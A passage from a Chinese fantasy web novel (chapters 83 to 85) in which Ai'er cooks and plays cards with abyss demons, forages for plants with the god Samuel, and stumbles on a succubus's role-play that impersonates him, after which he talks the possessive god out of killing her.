艾尔眼眸更弯,头一次庆幸自己遇到的神明是塞缪尔,若是其祂存在,定然不会有这样的好性格,就算偶尔发脾气,也挺可爱的。 (曾被塞缪尔又怼又打的其祂神明:tui——) “你好好休息,我出去一会儿。” 深渊的天色几乎不变,不知道现在是几点了,但醒都醒了,还是出门做正事吧。 走到衣柜前搭了一套衣服,青年利落地脱掉上身睡衣,正在解开睡裤时,忽然回头,对上了某神直白又坦荡的目光。 “……可以不要在我脱衣服的时候看着我吗?” 倒不是害羞,他上辈子住校的时候,同寝室的男孩子们都是直接在狭小的房间里换衣服的,但是没人会安静的、直勾勾地盯着别人看,更别说塞缪尔的气场过分有存在感了,哪怕艾尔背对着祂,都能感受到那视线。 没其它事做只能盯着小崽子的某神:“……” 塞缪尔歪着头真诚发问,“为什么不能看?” “我们人类不喜欢这样。” 塞缪尔不置可否,人类在祂的印象里,是一年四季都能发.情的生物,所以才能快速繁衍出如此庞大的数量,成为世界的新主人。 温斯特当赏金猎人的那段记忆中又见证了太多粗俗之事,所以塞缪尔理解不了脱个衣服有什么不能看的,况且这小崽子又非女人……虽然他长得比很多女人好看。 又扫了一眼人类修长白净的身体,塞缪尔恍然大悟,“你…难道是自卑?” 艾尔缓缓眨了一下眼:“?” 神明大人难得安慰人:“虽然你的身体看起来有点弱,但还算好看,不必羞于见人。” “……” 青年抬手掩目——心好累啊,到底怎么样才能让神明明白人类的礼义廉耻啊! 继续跟塞缪尔纠结下去不知道要费多长时间,艾尔直接放弃,拿着衣服出房间换了。 人类无礼地离开了,塞缪尔知道对方是又生气了,啧,果然是祂对小崽子太好了,瞧他脾气是越来越大了。 奇怪的是,神明并没有生出不满,或许是青年刚才赠予的魔药很有效,祂便不想计较,也或许是对方闹脾气的时候显得格外有生命力,有点可爱…… —— 艾尔乘着守卫在神殿外的黑龙,飞过仍在勤恳清理极西之地的雷蒙的头顶,在黑河对岸落地。 那群被塞缪尔从祂的地盘赶走的魔族上层散落开来,各自离得不远不近,他们已经命令低等魔族在河流附近建造新的宫殿了。魔族对环境要求不高,都以靠近神殿为荣就对了。 黑龙庞大的身躯极为夺目,魔族们从四方赶来,聚在了银发青年身边。 “神使殿下,终于又见到您了。” “您有什么需要我等效劳的吗?” …… 一时之间,各种问候同时萦绕在耳边,天真点的话,还以为深渊种族有多友善呢。 但艾尔清楚的知道他们双方只交流过一次,哪怕交谈甚欢,也还没到成为朋友的地步,无论是他,还是这群魔族,双方的友善都是别有目的。 “殿下,不知雷蒙表现如何?” 艾尔闻声偏过头,看见雷蒙的父亲汉克,他温和作答:“我刚才看见他了,雷蒙正在帮我们做一件很重要的事,还需要在神殿那边多留几天。”帮神明大人打扫家里卫生怎么不算重要呢? 壮年恶魔满意点头,“能靠近神殿,是他的荣幸。” 其实老父亲询问儿子的事情,只是想确保他还活着。 记载中黑暗之神的脾气很不好,雷蒙不像两位神使一样得过认可,如今的极西之地对他来说颇为危险。 况且……即便不考虑黑暗之神,另一位神使也相当危险,初见之时杀高等魔族如切菜的冷漠让他们很是忌惮。 此刻听银发青年这么说,汉克也算是放心了。 艾尔将周围的魔族打量一圈,没看到谁模样狼狈,或许人家已经治好了伤,也不知道塞缪尔跟谁动了手。 “温斯特,也就是另一位神使,我听他说刚才跟你们有过交流,他不善言辞,希望你们不要生出误会。” 众人脸色一僵,很快又是一片称赞—— 血族:“温斯特殿下一定是神眷者,我们没想到除了优秀的魔法天赋,他居然在剑术上也实力惊人!” 亡灵点头表示认可:“很像传说中的黑暗神大人,想必吾神很欣赏他,才会准许他开启神殿。” 魅魔靠近青年,拍着胸脯娇声道:“哎呀~那位使起剑来可真吓人呢。” 艾尔稍微闪身避开了热情的美人,带笑的眼神转冷,安妮塔看懂了警告,她撇撇嘴,站直了身体。 魔族其实并不喜欢另一位神使的性格,那小子看起来傲慢冷漠,总是招呼不打就直接下杀手,实在让人亲近不起来。 但他们骨子里又极端慕强,初见那日,那位黑眸青年便用强大的实力征服了他们,不夸张的说,当青年调动力量的时候,他们甚至觉得深渊的黑暗元素全都认那人为主了。 先前神使突然出现,臭着脸随机挑了几个魔族单挑,他们以为是来立威的,结果对方并未用他最擅长的黑暗魔法,而是用剑术。 在场的魔族都是深渊中实力顶尖的一批,以温斯特目前的身体强度和剑术境阶当然不可能打败魔族,但是这个人类的狠劲和技巧给魔族们留下了深刻印象。 人虽不讨喜,但魔武双修,是个天才啊! 以温斯特的年龄,在魔族这群长寿种眼里就是个小孩子,如此年轻,就如此强大,假以时日,还不搅的光明神阵营那边天翻地覆! 因为在神使身上看到了希望,魔族们可以无视温斯特那小小的暴脾气,即使被他重伤的魔族也没有生出埋怨。 艾尔见大家好似很欣赏塞缪尔,暗自松了一口气。 因为塞缪尔受了重伤,他还挺担心这群魔族升起“吾神怎让如此弱小的人类成为神使?这俩人说不定是骗子”的怀疑。 有人怀疑,就会有人寻机挑事,塞缪尔又要出手镇压,他可不想看到那家伙又使用神力过度伤了神魂。 “殿下,您今日做饭吗?我等很乐意帮您!” 艾尔闻言,偏头看见一名女性亡灵正一脸期待地看着他。 对方身上没有多余的部位,生前应该是人族,披散着长款的黑发,无害的圆脸上有一点可爱的小雀斑,身高还不及他肩膀,加上一副吃货模样,让他生出几分亲近,随即点头,“你们愿意帮忙真是太好了。对了,深渊可有擅厨之人?相信他们能更快地领悟我的烹饪方式,等我暂别诸位的时候,你们也能有可口的食物。” 亡灵厄休拉眼眸一亮,“真巧~我们想到一块儿去了。” 然后她吹响了手指般长短的骨笛,很快,几十号亡灵成群过来了。 有的低等亡灵只能以骷髅模样示人,他们的境阶尚不能凝出肉身,有的亡灵境界高点,有肉身,但看着像干尸…… 厄休拉不好意思地笑笑,“孩子们长得不如何,但生前都是会做饭的人,也能听懂您的指示,请放心指挥吧,神使殿下。” 艾尔夸赞了一句,然后带众魔开工,厄休拉睁着一双惊叹的大眼,围在青年身边蹦蹦跳跳。 安妮塔在一旁抱着手臂,白眼翻到了天际,老巫婆装什么纯情呢。 魔族们也很期待正在烹饪的食物。其实以他们的境阶,不吃东西也不会死,所以以往也没有口腹之欲。 但是!架不住神使殿下做的东西非常新颖,对生活中没多少乐子的魔族而言有巨大的吸引力,更别提那些食物都异常美味了! 这次,艾尔教他们做了蛋糕、三明治、馅饼…有魔族是肉食爱好者,飞速去附近猎了一头魔兽回来,艾尔就教他们做烧烤,做卤味,还拿出了各种口味的酒。 吃完饭,拿出在空间戒指里放了两年但他并不怎么玩的麻将和扑克牌——不得不提一句,这玩意儿可帮他从贵族手里圈了不少钱。 跟费莉西娅姑姑合作,五五分成,由王室保驾护航,就没有贵族敢搞小动作抢资产了。 王室充盈了国库,而他完美隐身,很棒! 除了打架斗殴,生活几乎毫无波澜的众魔迅速沉迷于各种新颖玩法,半日过去,河岸边是这样一幅场景—— 低等魔族们勤勤恳恳给老大们造新城堡,而不远处已经坐了好几桌牌友了,一旦有人输了不服气打起来,下一刻位置就被旁边观望的人占了。 吃饱喝足又一起打了几轮斗地主,就可以称兄道弟了,聊聊黑暗神之外神明的八卦,吐槽一下光明神殿,吹嘘过往展望未来,魔族们玩的尽兴,聊的也尽兴! “什么?你们候选人死了?”血族亲王瞄了一眼汉克,“你儿子干的?”说完甩出几张牌。 汉克:“要不起。没让他搞暗杀啊,何况他哪有这本事。” 艾尔:“更早的时候,在雷蒙之前你们送了几个人出去啊?” 坐在他旁边的厄休拉讲的更仔细些:“殿下,雷蒙就是第一个啊,那个封印十多年前才减弱了一点,集我们这群人的魔力才能打开一个突破口,在他之后,我们只送了几个魅魔出去。” 只有这个种族不需要用到魔法,就能将人类迷得七荤八素。 想象一下,一群有钱有势的人类为爱癫狂是何模样,不夸张的说,一个聪明的魅魔,可以等于一支军队,套情报和挑拨离间都是一把好手,所以魔族每次打开封印的时候,会优先挑聪明的年轻魅魔去潜伏在人类之中。 成熟的魅魔不行,比如安妮塔,放浪形骸太久了,一看就不单纯,容易引起警惕。 亡灵女孩“无意”的拉踩了安妮塔,艾尔赞同地点了一下头,“你们很谨慎。” 安妮塔这种风格,能轻松引诱到好色或者实力低微的人类,但强者看见她的第一眼只会升起防备。 隔壁桌搓麻将的安妮塔:“……”再次为某人的有眼无珠、不解风情狠狠翻了一个白眼。 艾尔没有追问送出去的魅魔是何姓名模样,免得引起戒备。 青年随手扔出两张牌,失望道:“本想让你们给暗杀者传话,不要找上我,免得我们内部自相残杀了,可惜……” 汉克打出王炸,心情颇好地陪神使继续闲聊,“也许是深渊被封印之前留在上面的魔族。” 血族亲王奥利尔扔出一把金币给汉克,“或者他们的后代,这都多少年了,如果神陨时代的魔族活到现在……那殿下就危险了啊。” 说是这么说,但他也没表现出任何担忧之情。 其实深渊中也有这样古老的存在,他们与神明的差距仅差一枚神格,幸好那些大佬已经沉睡很久了,不然哪儿轮得到他们这些法圣法神在深渊称王称霸。 青年微微一笑,“没有关系,吾神会庇佑我的。” 反正塞缪尔就在身边,随时都能抱大腿,再不济还有光明神留在他身上的三道护印呢。 已经花了半日,没有打听到想要的消息后,青年又教了他们一种新玩法,自然而然地找理由返回了神殿。 众魔沉迷于新乐子,也不多做挽留。 黑龙飞在上空,艾尔远远的就能看见黑发青年又在跟炼金傀儡对练,啊……这也太勤奋了吧,他离开后,这家伙真的有休息吗? 艾尔落地,唤了声“温斯特”,随后得到一个冷漠的眼神。 叫错了人艾尔也不觉尴尬,疑惑问道,“塞缪尔,还不跟温斯特交换吗?总是你出来练剑,会很辛苦吧。” 对方没有停下与傀儡的对战,略微喘息的声音忽远忽近,“你不是说最近不想搭理温斯特?他出不出现有什么所谓吗?” 啊……啊这,差点儿忘记半日前敷衍神明大人的那一茬了。 青年心虚地笑笑,“没有,你继续,我去找贝诺了。” 艾尔在宝库中的宝石堆里找到了小魔龙,“吐火,加热一下。” 贝诺乖乖的将一大块凉透的烤肉变热,迅速激发了肉香和调料香,它吃得享受,尾巴在身后一摇一甩。 “等会儿要跟我出去走走吗?” 小龙崽前爪抓着肉,看看美丽的主人,再看看身后闪耀的宝石,再看看主人…纠结不已。 艾尔失笑,“好吧,那你继续在这里玩。” 反正他们在这里待不了多久,让孩子再快乐几天吧。 出去跟塞缪尔一起练了一会儿剑,艾尔又示意要去附近游览一圈。 神明大人不知是嫌弃还是赞赏道,“你这么弱,还敢在深渊乱走动,真是勇气可嘉。” 漂亮的人类弯着眉眼,“你和我一起呗。”他的勇气是塞缪尔给的。 塞缪尔哼了一声,倒是没有拒绝。 半个小时后—— “你在做什么?”塞缪尔抱着手臂,垂眸看着蹲在地上刨土的青年,表情一言难尽。 第084章 第 84 章 艾尔正拿着小铲子认真刨土, “我看看这颗植株的根茎长什么样,说不定可以吃呢。” 塞缪尔终于意识到刚才一路上,这小崽子总是凑近野花野草的原因, 祂本以为青年只是对深渊的独有物种感到新奇,结果……呵, 什么出来游览, 分明是来找新食材的! 艾尔抽出半米长得像山药的根茎, 掰断后露出紫红色的内里,闻着倒是没有异味…他抬头去问深渊土著, “这个有毒吗?” 塞缪尔沉默的与他对视, 静谧的几秒钟过去, 艾尔终于反应过来了,曾经不食人间烟火的神明哪里会知道这种事情。 没犹豫多久, 想着自己有治愈术,还有高级解毒药剂,艾尔小小地咬了一口这个陌生植物,随即眼眸一亮, 微甜清脆, 不错,收了! 然后塞缪尔就跟着人类,走一路挖一路, 见证了他凑近一种嫩黄色花朵闻味道, 然后开始晕眩作呕, 再然后给自己施了个治愈术, 又继续寻找新植株了。 在温斯特的记忆中, 生活在利塞小镇时,小少年艾尔就常常带他进森林找些可食用植株, 然后花大量时间去研究怎么把它们做好吃。 彼时日子过得十分简单,没有魔法,没有责任,也没有任何竞争威胁,每日的忙碌只是为了丰富生活,赚钱养家。 塞缪尔能理解青年以前花心思在食物上,但如今艾尔什么也不缺,所以祂很不解小崽子为什么还这么初心不改。 神明大人无语道:“你怎么这么贪吃。” 艾尔正在尝一颗乌红色的莓果,闻言为自己辩解:“哪有,都是为了赚钱嘛,不寒碜。” 他对食物的兴趣一般,虽说以他的实力几天不吃东西也没事,但习惯了有滋有味的生活,很难去过那种枯燥乏味的只专注提升魔法的生活。 运气好的话他还能顺利活到上千年呢,不多搞点美食出来,之前研制的百来道食物吃腻了怎么办。 当然,靠做餐饮赚钱也是一大目的,每次在拍卖会购买稀有魔药和炼金傀儡的时候,那叫一个花钱如流水啊! 艾尔想起之后还有好几样计划需要前期投资,幽幽叹气:“钱不够花啊……” 塞缪尔嫌弃这小崽子没出息的样子,“神殿宝库里的东西还不够吗?” 这辈子当了近二十年的人,但无论是温斯特还是塞缪尔,都没怎么将财物放在心上,在他们的认知里,最重要的永远是实力,有了实力,就等于有了一切。 对外物需求不大,塞缪尔便对财物没什么概念,或许宝库里的东西对小崽子来说还不够多…… 狭长的黑眸微眯,表情跃跃欲试,“带你去抢几条矿脉?” 啊? “啊??别,你冷静点啊!!”艾尔哭笑不得,恢复到曾经的实力了吗就这么嚣张,这家伙活了几万年活到狗身上去了吗,怎么这么冲动啊。 很快艾尔又反应过来塞缪尔前面说了什么,他微微睁大了眼睛,颇有些不可置信地问:“你的意思是…宝库里的东西我都可以用?” 塞缪尔倚在粗壮的树干上,懒洋洋地看着他,“都是些没什么价值的东西,你想用就拿走。” 祂曾经什么好东西没见过,久而久之,觉得外物也就那样,所以如今对物质没有太大的追求,也并不贪心,祂的财宝与小崽子分享也无妨。 祂弱小的时候被这个人类抚养过,换过来以后养他也没毛病,塞缪尔不爱欠人情。 艾尔睁着一双亮晶晶的眼睛,哇——这趟深渊之行,他对这位神明的印象彻底改观了。 以前:恶劣叛逆大龄中二病。 现在:仗义大气的直性子好兄弟! 艾尔很感动,这种感觉就像他耐心养育的好大儿用辛苦赚来的钱给他买车买房,真是太孝顺了! 一个激动,艾尔两步扑过去揽住塞缪尔的肩,口不择言:“好兄弟!我没白疼你这么多年!” 塞缪尔:“……?” 青年手上沾着土的小铲子差点戳到神明大人身上,塞缪尔拎着对方的后领将人扯远一步,“站好。” 祂皱着眉,脸上看起来很是嫌弃漂亮青年这幅没出息的样子,其实心里很喜欢艾尔用现在这种崇拜的眼神看着自己,就是这小崽子仍旧没有凝出一枚信仰之力,让塞缪尔有点失望。 感动归感动,艾尔也没真打算随便拿塞缪尔的财物,他继续往前走,观察着一切新颖的物种,顺便进一步解释自己在对方眼里“不务正业”的行为。 “其实不止是为了赚钱,我开的那些饭馆帮我收集了不少信仰之力,所以我想尽力将它们经营好。” 塞缪尔眼皮一跳,“什么?” 艾尔不太好意思地挠着脸颊,“就一些经常光顾的客人,他们还挺崇拜我的。” 说崇拜还是轻的,客人们将饭馆老板称为食神!是神战时代后世界孕育的第一位新神! 艾尔去店里吃饭,经常能看到客人做合十礼,嘴里冒出来的赞美之词比神官写给光明神的颂词还要肉麻!就连对神明最不感兴趣的剑师都愿意称他为神了! 艾尔信守了儿时的承诺,赚大钱后给财神爷塑了金身,每家分店里都放了一尊半米高的镶金神像当吉祥物。 而在这个光明神当道的时代,他是万万不敢宣称这是财神爷的,不然饭馆早就被当做异端组织被光明神殿给针对了。 但他不需要向大众解释这是谁,客人理所当然的将雕塑认作饭馆老板,饭馆真正主人的身份便没人去好奇了,帮艾尔省了一个大麻烦。 瞧塑像这笑眯眯的脸,圆滚滚的肚子,客人们看了觉得亲切、喜庆,又富贵,好感倍增,认为它刻的是食神的原貌,引得不少人在用餐前感恩膜拜。 拜的是财神爷,但信仰崇拜的是饭馆老板——所以客人们内心凝聚的信仰之力也就落到了艾尔身上。 艾尔简单解释了一下,塞缪尔嘴角一抽,祂本以为那什么财神爷是小崽子幼时哄温斯特编出来的,没想到他是真的重视。 难怪青年从未向祂交付哪怕一点信仰,原来信仰另有去处了啊……可祂对他这么好,凭什么待遇还不如一个不存在的东西?! 塞缪尔脸色冷了下来,“世上根本没有财神。” 艾尔当然相信塞缪尔作为本土神明的判断,但聊天嘛,就是东南西北的扯呗,“可是有专掌瘟疫,或者四季的神明,为什么不能有掌控财富的神明呢?我们老家有句俗话叫‘宁可信其有,不可信其无’,我们做生意的,就喜欢信财神。” 其实他上辈子没这么迷信的,这不是穿越了嘛,如今他相信万事皆有可能。 塞缪尔闻言沉默片刻,忽然轻笑一声,“我们?看来这尊神在你的老家很受欢迎。” 青年步伐一顿,突然往旁边跑几步,蹲下去挖一种藤蔓植株,“哈,我就知道根部有好东西。” 转移话题没用,塞缪尔没有放过他,站在青年身边,指尖摩挲着对方雪白的后颈,追问着:“哪个老家啊?” 森林里很安静,尤其是两人都不说话的时候,塞缪尔的手掌轻轻搭在艾尔的脖颈上,存在感更加明显。 艾尔头皮一阵发麻,分不清是因为太过敏感,还是因为致命处被拿捏带来的威胁感。 他扭头看塞缪尔,即便是撒谎,那双澄澈的蓝眸也显得格外真诚,“当然是利塞小镇,不然呢?” “我怎么不记得利塞有其他人提过财神。” 艾尔是理不直气也壮,“你记得什么啊?你、或者是温斯特,从来没有认真跟其他人交谈过,离我们家最近的婶婶叫什么名字你都忘了吧。” 塞缪尔一噎,小崽子倒没说错,那些无关紧要的人向来不会在祂脑子里留多少痕迹,但……真有这么一个财神冒出来跟光明神争夺信徒,卡文牧师一定会经常念叨,祂可没听过相关的抱怨。 “啧。”塞缪尔不爽地扯了一下青年扎起来的高马尾,却没继续问下去了。 祂是知道小崽子那张嘴有多会胡说八道的,追问只是浪费时间而已,认真逼问的话,多半会惹他生气,然后就不搭理人了。 小崽子现在恃宠而骄,脾气可大了——这么想着,塞缪尔却没去思考这样有什么不对。 艾尔悄悄松了一口气,同时为塞缪尔的妥协感到一点不可思议。 放松了没多久,些许愧疚开始滋生,塞缪尔不知是单纯的信任他,还是留有后手所以有恃无恐,几乎没有瞒过他什么事,还对他这么好,而他……真的要永远隐瞒下去吗? 心理防线开始松动,艾尔叹了一口气,准备走一步看一步。 塞缪尔刚开始只是跟着青年走走停停,无所事事地站在旁边,艾尔看他满脸写着无聊,就把菜篮子交给祂。 然后神明大人就冷着一张脸,拎着那傻不拉叽的菜篮子,有时看不下去里面的杂乱了,还会动手整理一番。 艾尔回头看见这一幕后,又转过身偷偷笑了一下,这也太有反差萌了! 不知道过了多久,艾尔被一阵幽香吸引,顺着这股味道走到一片花树林。 树干至少二十米高,枝繁叶茂,白色的花朵看起来像玉兰。 “这是什么花,没毒的话可以试着做鲜花饼。” 塞缪尔抬了一下眼,“白月树,不知道有没有毒。” 深渊少有纯白色的植物,因为香味和颜色,这树在深渊还是挺有名的。 艾尔有些欣慰,这只土著终于能叫出一个名字了。 两人飞上了树,塞缪尔被投喂了一片花瓣等着看会不会毒发,艾尔在找寻种子。 不久后—— “你的衣服跟这张脸不配,换上这套。” “这么多件?人族可真不嫌麻烦,层层叠叠的……艹,反正都要脱的,有什么必要。” 听见有声音由远及近,艾尔透过树叶缝隙看见两个人影朝这边走来。 尚未看见脸,但女声非常熟悉,是魅魔安妮塔。 两人停在不远处换衣服,片刻后,安妮塔的男伴开口:“行了,这下你满意了吧。” 安妮塔皱眉,“还不够,声音也要变的跟他一样。” 很快,男伴再次开口,“这样像吗?” 声音变得轻缓悦耳,温柔又舒适,与这种嗓音对话的人很难生气。 艾尔和正在发呆的塞缪尔同时一愣,觉得这声音非常耳熟…… 青年轻轻拨开挡住视线的枝叶,看见了穿的一如既往单薄的安妮塔,还有…… 艾尔揉了揉眼睛,再定睛一看——没有看错,为什么下面有个人跟他长得一模一样啊??! 银发蓝眸,脸庞白皙俊美,毕竟年龄刚过二十一,还留有几分少年人的稚嫩,一身金纹白袍,典型的光明神殿神官风格,显得庄重冷然。 艾尔瞪大了眼看了个仔细,然后就见安妮塔开始解男伴的衣服…… 他僵硬地转头看塞缪尔,想问对方看见的场景是不是跟他一样,他现在怀疑这个白月花有致幻和催情的作用。 然而塞缪尔眼里的疑惑比他还多,显然几万岁的纯情处男没见过这种play,此刻的想法和艾尔一样,是不是刚才吃的花让祂中毒了? 树下,“艾尔”因为安妮塔表现出的痴迷心情愉悦,嘴角勾起了得意的笑容,被魅魔不满地拍了两下脸,“不准笑,我就喜欢他冷漠的样子。” “艾尔”压平了嘴角,“要求真多,下次你变成神使的时候最好也这样。” 树上的真·艾尔:“……” 塞缪尔:“…………” 第085章 第 85 章 反应过来下面两个魔族在玩什么play后, 艾尔倒也没有生气。 上辈子成长于网络发达的世界,什么毁三观的事情没听说过,两辈子接触过不少人, 偶尔也会遇到一些奇葩,久而久之, 将他的脾气锻炼得相当稳定, 变成他的模样搞颜色算什么, 对他没有实质性伤害,艾尔并不放在心上。 虽说不生气, 但画面过于新奇, 树上的两人一时之间没有动作, 下方的对话还在继续—— 或许是在玩什么情趣,魅魔没有一上来就脱衣服进入正题。 银发美人状似无力地躺在地上, 冷眼看着媚眼如丝的魅魔,安妮塔坐在他腰部,显然更兴奋了,“对, 就是这幅表情, 真带劲!” 随后安妮塔收敛了一下表情,娇声问道:“殿下,你今天和厄休拉很亲近啊, 是喜欢她那种类型吗?” 艾尔的扮演者闻言皱眉, 不知是生气还是想八卦, 没接上戏, “什么?我们魅魔一族哪里比不上区区亡灵?!神使怎么会看上她?安妮塔, 你确定厄休拉没有使手段?比如她在身上洒了闻着让人上瘾的魔药?” 艾尔听他们的对话只觉得好笑,没注意到旁边的神明大人神情危险。 塞缪尔眯了眯狭长的黑眸, 呵,喜欢浪费时间挖地刨土就算了,竟然还有心思谈情说爱? “啧。”同伴的出戏让安妮塔不耐烦地拍了一下男人的脸,“那个老巫婆就是在神使殿下面前装单纯而已,有什么用,殿下没起一点心思,低级的勾引手段,最多对没脑子的男人管用,殿下可是个聪明人。” 魅魔是深渊中对感情最敏感的种族,虽然艾尔对厄休拉态度温和,但安妮塔完全没看出暧昧之情,刚才她还跟那个亡灵互相嘲讽了一顿。 装单纯?勾引?艾尔迷惑了,他以为厄休拉的友好热情是吃货对大厨的崇拜之情而已…… 安妮塔已经开始解同伴的衣服,身下的人没什么表情,眼神却开始迷离,嘴里吐出的话跟那张脸的风格相差甚远,“干净的,纯洁的神使啊,究竟喜欢什么类型的伴侣呢……” 魅魔吻了一下同伴的唇,手指捻起一缕银发,她眼神幽幽:“我的天赋对你一点用都没有,是真的那么清心寡欲,还是……你更喜欢同性啊?” 没引诱到心仪的猎物,安妮塔第一次受这挫折,心有不甘,多加琢磨之后,终于得出某个猜测——她如此美丽又强大,天赋加持下,境阶比她低的人都会痴迷于她才对! 这次的失败不是她的问题……哦~她明白了,那一定是神使偏好同性的原因! 艾尔嘴角一抽,这都什么跟什么啊。 同伴一听,觉得自己机会大了,期待道:“下次,我要和殿下说上话!” 安妮塔眼波流转,“行啊,你去试试,现在,少说话,扮演好你的身份。” 眼看树下两人渐入佳境,艾尔失望地叹息一声,刚才见他们不停的逼逼赖赖,还以为能偷听到一点魔族对两位神使的想法和打算呢,结果都是些没价值的内容…… 不可能留在这里看完全场,直接现身又有点尴尬,艾尔看向神通广大的塞缪尔,寄希望于对方有手段能让他们悄悄溜走,却不料扭头便对上塞缪尔审视的眼神。 无需多言,艾尔瞬间便明白这家伙是不高兴自己的信徒心思不纯,跟祂看不上眼的人物扯上关系。 青年无声道:别听他们胡说。 塞缪尔无所顾忌,祂可不在乎会不会尴尬,警告性地瞥了小崽子一眼,冷哼一声,直接开口:“他们最好是在胡说。” 下方的play正进行到假艾尔‘虚弱’地抓着自己的衣领,“至少…不要在这种地方…” 冷漠的声音如平地一声雷,炸得两个魅魔立即起身,很快便盯上了不远处坐在树上的两人。 安妮塔眼前一亮:啊~神使殿下就算穿一身黑色简装也很好看呢,纯洁的白月花很衬他,殿下就像那种花的化身……如果另一位神使不在他旁边就更好了! 银发青年没什么表情地扫过衣衫不整的两人,像是在看两块木头,并没有认真放在眼里,这样的态度再次激起了魔族的征服欲。 艾尔随口道了一句:“两位好兴致。” 这个世界的两性关系还挺开放的,至于魅魔这个种族,更是不知道害羞为何物,安妮塔和族人直勾勾地看着银发青年,“哎呀~殿下,可真巧啊,不知道我是否有幸能陪您消遣一段无聊的时光?” 安妮塔坦诚地发出邀请,并不害怕惹怒对方。 所有和青年有过接触的魔族都能看出,受限于年龄,就算再有天赋,艾尔的实力也比不过这些活了上千年万年的老怪物。 鉴于这两个人族真的解封并入住了神殿,魔族对他们被黑暗神看中这件事倒是没有怀疑,并表现出尊敬的态度,但这种尊敬只流于表面,尤其是对于没什么杀伤力的银发青年,魔族并不害怕他,这也是安妮塔无视对方冷脸的原因。 对于一个长得好看又优秀的男性来说,类似的事情已经发生过好几次了,艾尔心无波澜,没有被冒犯的感觉,正待拒绝然后走人,却见两个魅魔突然间大惊失色,连连后退远离了这边。 艾尔偏头,便见身边人一副似笑非笑的表情,眉眼间笼罩着杀意,向上抬的手心,一条长着獠牙的黑蛇越来越大,仿佛下一瞬间便能以闪电之势吞下敌人。 目睹了一场离谱play都没皱过眉头的青年,此时压低了眉,直接搭上了塞缪尔的手腕试图制止:“这种事情,没有必要杀人。” 塞缪尔没有收敛手上的黑暗元素,冷眼看向青年,“你倒是大度,还是说,你喜欢刚才那场表演?” 艾尔握紧了祂的手腕,语气不满道:“你神魂的伤刚好不久,又要折腾自己了?” 塞缪尔心中的怒气一滞,见那两个魅魔已经跑到连影儿都看不着了,不甘地挥散了魔力。 不是因为追不上,而是阻拦祂的青年一副又要开启冷战的模样…… 塞缪尔此刻的心情有点复杂,小崽子的关心让祂心情不错,但这也让祂意识到自己在青年眼中有多脆弱,这让塞缪尔很是憋屈。 “我受伤是因为解封了神殿,杀几个人给你出气是很容易的事情。” “啊……”艾尔打量着塞缪尔的神情,“谢谢,但是…我没有生气啊。”他暗自嘀咕,生气的明明是你自己好不好。 艾尔搞不懂神明大人的思维方式,魅魔感兴趣的人是他,全程没有塞缪尔的事,祂为什么起杀心? 说实话,如果是塞缪尔被觊觎被调戏,他绝对会在旁边看热闹,谁不会八卦一下自己兄弟的感情经历啊? 因为艾尔是这样的想法,所以他很不理解塞缪尔的反应。 艾尔只能猜测塞缪尔是认为他受辱了,咦?思想还挺保守的。 青年依旧没有放开神明大人的手腕,他将人拽着走,笑眯眯地哄道:“别不高兴了,我们回神殿吧,我陪你练剑好不好?” 塞缪尔没有回答,祂垂眸看着受了限制的手腕…… 黑暗之神向来没什么野心,对权利和财富都没有追求,其祂神明喜欢扩张信仰、增长信徒数量,祂也没有兴趣。 听起来是个平和随意的神,实际上祂对自己的东西有着强烈的占有欲,比如神殿被划为祂的私人地盘,数万年来踏入那里的神明屈指可数,那些关系还不错的神明只能找祂聊聊天,留下就别想了,塞缪尔连客房都没准备过。 若是告诉这些神明,未来有一日,塞缪尔会放一个弱小人族进自己的房间,还共睡一床,祂们绝对不会相信。 温斯特小的时候被艾尔悉心养了一年多,几乎是形影不离,早就习惯了哥哥所有的亲近动作。 当年的银发少年漂亮、聪明、自信、大度,有着独特的思想观念,糅合成了一种极吸引人的魅力,塞缪尔没有找到自己不喜的点,也就放任了温斯特对他的亲近。 久而久之,连带着塞缪尔也习惯了这个人类站在自己身边,对他有着前所未有的耐心和包容,所以祂不介意和青年躺在一起,也没有因为受到阻拦、被禁锢住手腕而感到冒犯。 很多事情祂都可以随小崽子的意,只有一点…… 塞缪尔撩起眼皮看着青年的后脑勺,语气沉沉:“我不喜欢我的东西被别人觊觎。” 艾尔脚步一顿,看向塞缪尔的眼神很是复杂,有太多话想吐槽了,比如,可以不要用“东西”来形容他吗,他不是一个物件啊! 比如,他想谈一下自己不喜欢控制欲过强的朋友。 再比如,他还挺无语的,教廷不许圣子谈恋爱,现在看来,塞缪尔也不想看到他和别人有亲密关系,啊……希望他以后不会遇到喜欢的人,否则情路坎坷啊! 艾尔沉默一瞬,选择了目前来看最要紧的事,想让塞缪尔更加了解他一点,免得刚才的事会一而再再而三的发生。 “我不喜欢杀人。” 跟那双澄静的蓝眸对视,塞缪尔吞下了“胆小的废物”的评价,罢了,小崽子天性纯良,这不是祂早就知道的事情嘛,否则当年也不会被照顾得那么好。 “动手的是我,没让你杀。” “你想维护我,对吗?”艾尔笑了一下,“我很开心,但是我也不喜欢因为一点小事,就有人因我而死。” 啧…塞缪尔冷漠道:“那是魅魔,不是人类。” 艾尔哭笑不得:“都一样!” 他的三观是被一个有严格法律的和平社会塑造而成,艾尔喜欢魔法,剑术,喜欢这个世界各种危险而有趣的东西,生存环境使然,他有时候会用暴力解决问题,但并不喜杀戮,除非遇到了极其恶心的人,或者生命受到了威胁。 像安妮塔这样的存在,甚至都还没有下暗手阴他一把,就这样杀了实在是有违他的道德标准。 塞缪尔安静了一会儿,在艾尔被祂盯得头皮发麻的时候,语气意味不明道:“看来…你不满我很久了。” 祂脾气不好,冒犯过祂的人都被顺手解决了,就像前两日刚到极西之地,祂就直接杀了几个魔族,很明显,这是小崽子讨厌的行为。 没有明确表述,但艾尔还是很快意识到祂在想什么,顿时失笑,“你是我见过最宽容、最讲道理的神明了,我保证没有任何不满,能遇见你,我觉得特别幸运。” 站在塞缪尔的角度,那几个被杀的魔族都是祂家的闯入者,当时还有不少想攻击他们的,杀鸡儆猴,既让极西之地的主人发泄了脾气,又能迅速立威。 塞缪尔能辨认出小崽子说的是实话,表情好看了许多,嘴上却还在挑刺,“呵,你才见过几个神明?就说这种话。” 艾尔看祂情绪稳定了,带着塞缪尔继续往回走,一边漫步一边闲聊,“反正不止你和光明神,你知道我法杖的前主人是谁吗……” 青年将克莱门斯老师记忆中的神明缓缓道来,着重批评了祂们有多暴戾不讲理,恶毒又没本事,连人类半神都打不过,顺带表扬了塞缪尔。 在他的踩一捧一之下,神明大人刚才的坏心情荡然无存! 塞缪尔很满意小崽子跟祂分享自己独特的经历,直觉告诉祂,在不久的将来,小崽子也会主动坦白他真正的来历…… 